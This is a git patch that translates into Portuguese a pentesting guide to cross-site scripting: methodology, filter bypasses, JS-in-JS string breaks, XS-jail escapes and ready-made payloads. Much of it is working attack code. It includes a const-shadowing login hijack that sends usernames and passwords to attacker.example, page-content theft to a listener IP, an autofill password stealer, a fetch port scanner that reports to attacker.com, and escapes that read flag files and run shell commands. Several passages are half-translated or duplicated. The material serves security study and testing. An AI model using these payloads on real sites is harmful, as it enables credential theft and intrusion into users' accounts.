From d76c2443d00d36a708a41163f7490472637ccfff Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:23:15 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 491 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 38 +- 2 files changed, 303 insertions(+), 226 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index e4a05951e..4c4b3fc63 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,32 +4,33 @@ ## Metodologia -1. Verifique se **qualquer valor que você controla** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. -2. **Encontre o contexto** onde está refletido/usado. -3. Se **refletido** -1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: -1. Em **HTML bruto**: -1. Você pode criar novas tags HTML? -2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? -3. Você pode contornar proteções? -4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md). -5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? +1. Verifique se **qualquer valor que você controla** (_parameters_, _path_, _headers_?, _cookies_?) está sendo **refletido** no HTML ou **usado** por código **JS**. +2. **Encontre o contexto** onde ele é refletido/usado. +3. Se for **refletido** +1. Verifique **quais símbolos você pode usar** e dependendo disso, prepare o payload: +1. Em **raw HTML**: +1. Você consegue criar novas tags HTML? +2. Você pode usar eventos ou atributos que suportem o protocolo `javascript:`? +3. Você consegue contornar proteções? +4. O conteúdo HTML está sendo interpretado por algum engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de um [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Se você não consegue criar tags HTML que executem código JS, poderia abusar de um [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de uma **tag HTML**: -1. Você pode sair para o contexto HTML bruto? -2. Você pode criar novos eventos/atributos para executar código JS? -3. O atributo onde você está preso suporta execução de JS? -4. Você pode contornar proteções? -3. Dentro do **código JavaScript**: -1. Você pode escapar da tag ``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: +Neste caso sua entrada é refletida entre **``** tags de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: -- Se refletido entre as tags **``**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag injetada `` está dentro do código HTML. -- Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado): +- Se for refletido entre **``** tags, mesmo que sua entrada esteja dentro de quaisquer aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro irá parsear as tags HTML** e depois o conteúdo, portanto, ele não perceberá que sua tag injetada `` está dentro do código HTML. +- Se for refletido **dentro de uma string JS** e o truque anterior não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver qualquer erro, ele não será executado: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Se refletido dentro de literais de template, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Codificação Unicode** funciona para escrever **código javascript válido**: +- Se for refletido dentro de template literals você pode **embed JS expressions** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** works to write **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.**\ -**Verifique a página a seguir para mais informações:** +Javascript Hoisting refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas, permitindo que você abuse cenários em que um XSS esteja usando variáveis ou funções não declaradas.**\ +**Check the following page for more info:** {{#ref}} @@ -95,15 +96,15 @@ js-hoisting.md ### Javascript Function -Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`. +Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. -Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificando o valor do parâmetro** (por exemplo, para 'Vulnerable') e procurando no console por erros como: +Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está sendo executado é **modificar o valor do parâmetro** (por exemplo para 'Vulnerable') e procurar no console por erros como: ![](<../../images/image (711).png>) -Caso seja vulnerável, você poderá **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**). +Caso seja vulnerável, você poderia **disparar um alert** simplesmente enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e underscores (**`[\w\._]`**). -No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**: +However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: ![](<../../images/image (747).png>) @@ -115,11 +116,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -Você também pode tentar **disparar funções Javascript** diretamente: `obj.sales.delOrders`. +Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`. -No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações. +No entanto, normalmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações. + +Portanto, para **abusar dessa vulnerabilidade em um DOM diferente** a exploração **Same Origin Method Execution (SOME)** foi desenvolvida: -Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração **Same Origin Method Execution (SOME)** foi desenvolvida: {{#ref}} some-same-origin-method-execution.md @@ -127,7 +129,8 @@ some-same-origin-method-execution.md ### DOM -Há **código JS** que está usando **inseguramente** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário. +Existe **JS code** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário. + {{#ref}} dom-xss.md @@ -135,28 +138,30 @@ dom-xss.md ### **Universal XSS** -Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\ +Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Não dependem apenas da exploração no cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\ Alguns **exemplos**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Bypass de WAF codificando imagem +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Injetando dentro do HTML bruto +## Injecting inside raw HTML -Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\ -Para esses casos, também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +Quando seu input é refletido **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto a **primeira** coisa que você precisa fazer é verificar se você pode abusar de `<` para criar novas tags: apenas tente **refletir** esse **char** e verifique se está sendo **HTML encoded** ou **deletado** ou se é **refletido sem alterações**. **Somente no último caso você poderá explorar essa situação**.\ +Para esses casos também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_ -Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como: +Nesse caso e se não for usado black/whitelisting, você pode usar payloads como: ```html ` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`. +Nesse caso sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre `` tags ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`. ### Escapando a tag \` você pode facilmente **escapar fechando a tag `` você pode facilmente **escapar fechando a tag ` ``` -Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise de HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois. +Observe que neste exemplo nós **nem sequer fechamos a aspa simples**. Isso acontece porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados só é realizada posteriormente. ### Dentro do código JS -Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado: +Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +#### JS-in-JS string break → inject → repair pattern -Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **expressões JS embutidas** usando a sintaxe `${ ... }`.\ -Portanto, se você descobrir que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: +Quando a entrada do usuário cai dentro de uma string JavaScript entre aspas (e.g., server-side echo into an inline script), você pode terminar a string, injetar código e reparar a sintaxe para manter o parsing válido. Esqueleto genérico: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma string JS: +``` +?param=test";;a=" +``` +Isto executa attacker JS sem precisar tocar no contexto HTML (JS-in-JS puro). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave. -Isso pode ser **abusado** usando: +### Template literals `` + +Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isto é conhecido como template literals, pois permitem **embedded JS expressions** usando a sintaxe `${ ... }`.\ +Portanto, se você encontrar que sua entrada está sendo **reflected** dentro de uma string JS que usa backticks, você pode abusar da sintaxe `${ ... }` para executar **arbitrary JS code**: + +Isso pode ser **abused** usando: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -513,13 +533,28 @@ loop`` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Quebras de linha em JavaScript (do** [**truque de quebra de linha em JavaScript**](#javascript-new-lines) **)** +**JavaScript quebras de linha (do** [**JavaScript new line**](#javascript-new-lines) **truque)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -577,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8 String.fromCharCode(8233) alert("//\u2029alert(1)") //0xe2 0x80 0xa9 ``` -**Espaços em branco do JavaScript** +**Espaços em branco em JavaScript** ```javascript log=[]; function funct(){} @@ -680,7 +715,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Chamada de função arbitrária (alert)** +**Chamada arbitrária de função (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -740,64 +775,64 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **Vulnerabilidades DOM** +## **DOM vulnerabilities** -Há **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ -**Devido à extensão da explicação sobre** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:** +Há código **JS** que está usando **dados inseguros controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ +**Devido à extensão da explicação de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Lá você encontrará uma **explicação detalhada sobre o que são vulnerabilidades DOM, como são provocadas e como explorá-las**.\ -Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering). +Lá você encontrará uma **explicação detalhada do que são as DOM vulnerabilities, como são provocadas e como explorá-las**.\ +Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Atualizando Self-XSS +### Escalonando Self-XSS ### Cookie XSS -Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, poderá abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing: +Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, você pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso você pode usar o cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Enviando sua sessão para o admin Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá-lo, ele acionará a vulnerabilidade. -### Espelhamento de Sessão +### Session Mirroring -Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão. +Se você encontrar algum self XSS e a página web tiver um **session mirroring for administrators**, por exemplo permitindo que clientes peçam ajuda e, para o admin ajudá-lo, ele verá o que você está vendo na sua sessão mas a partir da sessão dele. -Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão. +Você poderia fazer com que o **administrador acionasse seu self XSS** e roubar seus cookies/sessão. -## Outros Bypasses +## Other Bypasses -### Unicode Normalizado +### Normalised Unicode -Você poderia verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/index.html#xss-cross-site-scripting). +Você pode verificar se os **reflected values** estão sendo **unicode normalized** no servidor (ou no client side) e abusar dessa funcionalidade para contornar proteções. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### Bypass do flag PHP FILTER_VALIDATE_EMAIL +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -Devido à **atribuição em massa do RoR**, as citações são inseridas no HTML e, em seguida, a restrição de citação é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ -Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil: +Devido a **RoR mass assignment** aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ +Exemplo de formulário ([from this report](https://hackerone.com/reports/709336)), se você enviar o payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -O par "Key","Value" será retornado assim: +O par "Key","Value" será ecoado assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Então, o atributo onfocus será inserido e o XSS ocorre. +Então, o atributo onfocus será inserido e XSS ocorre. ### Combinações especiais ```html @@ -829,24 +864,24 @@ Então, o atributo onfocus será inserido e o XSS ocorre. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS com injeção de cabeçalho em uma resposta 302 +### XSS com header injection em uma resposta 302 -Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil. +Se você descobrir que pode **inject headers in a 302 Redirect response** pode tentar **fazer o browser executar arbitrary JavaScript**. Isto **não é trivial** pois navegadores modernos não interpretam o corpo da resposta HTTP se o status code da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil. -Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\ -Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`. +Em [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do Location header e verificar se algum deles permite que o navegador inspecione e execute o payload XSS dentro do body.\ +Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Apenas Letras, Números e Pontos -Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento. +Se você consegue indicar o **callback** que o javascript vai **execute** limitado a esses caracteres. [**Read this section of this post**](#javascript-function) para descobrir como abusar desse comportamento. -### Tipos de Conteúdo ` @@ -947,22 +980,22 @@ Se a página estiver retornando um tipo de conteúdo text/xml, é possível indi ``` -### Padrões de Substituição Especiais +### Padrões Especiais de Substituição -Quando algo como **`"some {{template}} data".replace("{{template}}", )`** é usado. O atacante pode usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Quando algo como **`"some {{template}} data".replace("{{template}}", )`** é usado. O atacante pode usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Por exemplo, em [**este relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. +Por exemplo, em [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isto foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. -### Cache do Chrome para XSS +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### Escape de XS Jails +### XS Jails Escape -Se você tiver apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail: +Se você tem apenas um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -993,7 +1026,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário: +Se **tudo está undefined** antes de executar código não confiável (como em [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável: - Usando import() ```javascript @@ -1002,13 +1035,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Acessando `require` indiretamente -[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, assim: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, desta forma: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: +Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1055,14 +1088,14 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Ofuscação & Bypass Avançado +### Obfuscation & Advanced Bypass -- **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Diferentes obfuscations em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- Mais sofisticação JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- JSFuck mais sofisticado: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1236,7 +1269,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS payloads comuns +## Payloads comuns de XSS ### Vários payloads em 1 @@ -1245,9 +1278,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] steal-info-js.md {{#endref}} -### Armadilha Iframe +### Armadilha de iframe -Faça o usuário navegar na página sem sair de um iframe e roube suas ações (incluindo informações enviadas em formulários): +Faça o usuário navegar na página sem sair de um iframe e roubar suas ações (incluindo informações enviadas em formulários): {{#ref}} @@ -1277,9 +1310,9 @@ Faça o usuário navegar na página sem sair de um iframe e roube suas ações ( ``` > [!TIP] -> Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte. +> Você **não poderá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte. -### Roubar Conteúdo da Página +### Roubar conteúdo da página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1349,11 +1382,11 @@ q.shift()() } ``` -### Scanner de Portas (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Scanner de Portas (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Captura de senhas de preenchimento automático +### Captura de senhas Auto-fill ```javascript Username:
@@ -1387,18 +1420,35 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +Quando qualquer dado é inserido no campo password, o username e a password são enviados para o attacker's server; mesmo que o cliente selecione uma password salva e não escreva nada, as credenciais serão exfiltradas. + +Se um handler crítico (por exemplo, `function DoLogin(){...}`) for declarado mais abaixo na página, e seu payload for executado antes (por exemplo, via um inline JS-in-JS sink), defina primeiro um `const` com o mesmo nome para antecipar e bloquear o handler. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Notas +- Isto depende da ordem de execução: sua injeção deve ser executada antes da declaração legítima. +- Se seu payload estiver envolvido em `eval(...)`, `const/let` bindings não se tornarão globals. Use a injeção dinâmica ` ``` -### Roubo de mensagens PostMessage +### Roubando mensagens do PostMessage ```html ``` -### Abusando de Service Workers +### Abusar de Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### Acessando o Shadow DOM +### Acessando Shadow DOM {{#ref}} shadow-dom.md {{#endref}} -### Poliglotas +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Payloads de XSS Cego +### Blind XSS payloads Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1511,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Acesso a Conteúdo Oculto -A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1528,7 +1578,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Lista de Força Bruta +### Lista de Brute-Force {{#ref}} @@ -1539,7 +1589,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS em Markdown -Pode injetar código Markdown que será renderizado? Talvez você consiga XSS! Verifique: +É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Confira: {{#ref}} @@ -1548,23 +1598,25 @@ xss-in-markdown.md ### XSS para SSRF -Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com este payload: +Conseguiu XSS em um **site que usa caching**? Tente **elevar isso para SSRF** através de Edge Side Include Injection com este payload: ```python ``` -Use-o para contornar restrições de cookies, filtros de XSS e muito mais!\ +Use-o para contornar restrições de cookie, filtros XSS e muito mais!\ Mais informações sobre esta técnica aqui: 